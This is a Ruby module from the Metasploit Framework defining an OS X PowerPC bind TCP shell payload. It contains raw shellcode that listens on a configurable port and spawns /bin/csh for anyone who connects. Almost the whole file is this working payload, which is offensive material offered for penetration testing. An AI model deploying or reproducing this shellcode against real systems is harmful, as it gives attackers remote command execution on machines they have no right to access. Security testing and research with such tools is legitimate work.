##
# $Id: shell_bind_tcp.rb 8615 2010-02-24 01:19:59Z jduck $
##

##
# This file is part of the Metasploit Framework and may be subject to
# redistribution and commercial restrictions. Please see the Metasploit
# Framework web site for more information on licensing and terms of use.
# http://metasploit.com/framework/
##

require 'msf/core'
require 'msf/core/handler/bind_tcp'
require 'msf/base/sessions/command_shell'
require 'msf/base/sessions/command_shell_options'

module Metasploit3

	include Msf::Payload::Single
	include Msf::Payload::Osx
	include Msf::Sessions::CommandShellOptions

	def initialize(info = {})
		super(merge_info(info,
			'Name'          => 'OSX Command Shell, Bind TCP Inline',
			'Version'       => '$Revision: 8615 $',
			'Description'   => 'Listen for a connection and spawn a command shell',
			'Author'        => 'hdm',
			'License'       => MSF_LICENSE,
			'Platform'      => 'osx',
			'Arch'          => ARCH_PPC,
			'Handler'       => Msf::Handler::BindTcp,
			'Session'       => Msf::Sessions::CommandShell,
			'Payload'       =>
				{
					'Offsets' =>
						{
							'LPORT'    => [ 34, 'n' ],
						},
					'Payload' =>
						# bind, listen, accept, dup2, vfork, execve(/bin/csh)
						"\x38\x60\x00\x02\x38\x80\x00\x01\x38\xa0\x00\x06\x38\x00\x00\x61" +
						"\x44\x00\x00\x02\x7c\x00\x02\x78\x7c\x7e\x1b\x78\x48\x00\x00\x0d" +
						"\x00\x02\x11\x5c\x00\x00\x00\x00\x7c\x88\x02\xa6\x38\xa0\x00\x10" +
						"\x38\x00\x00\x68\x7f\xc3\xf3\x78\x44\x00\x00\x02\x7c\x00\x02\x78" +
						"\x38\x00\x00\x6a\x7f\xc3\xf3\x78\x44\x00\x00\x02\x7c\x00\x02\x78" +
						"\x7f\xc3\xf3\x78\x38\x00\x00\x1e\x38\x80\x00\x10\x90\x81\xff\xe8" +
						"\x38\xa1\xff\xe8\x38\x81\xff\xf0\x44\x00\x00\x02\x7c\x00\x02\x78" +
						"\x7c\x7e\x1b\x78\x38\xa0\x00\x02\x38\x00\x00\x5a\x7f\xc3\xf3\x78" +
						"\x7c\xa4\x2b\x78\x44\x00\x00\x02\x7c\x00\x02\x78\x38\xa5\xff\xff" +
						"\x2c\x05\xff\xff\x40\x82\xff\xe5\x38\x00\x00\x42\x44\x00\x00\x02" +
						"\x7c\x00\x02\x78\x7c\xa5\x2a\x79\x40\x82\xff\xfd\x7c\x68\x02\xa6" +
						"\x38\x63\x00\x28\x90\x61\xff\xf8\x90\xa1\xff\xfc\x38\x81\xff\xf8" +
						"\x38\x00\x00\x3b\x7c\x00\x04\xac\x44\x00\x00\x02\x7c\x00\x02\x78" +
						"\x7f\xe0\x00\x08\x2f\x62\x69\x6e\x2f\x63\x73\x68\x00\x00\x00\x00"
				}
			))
	end

end
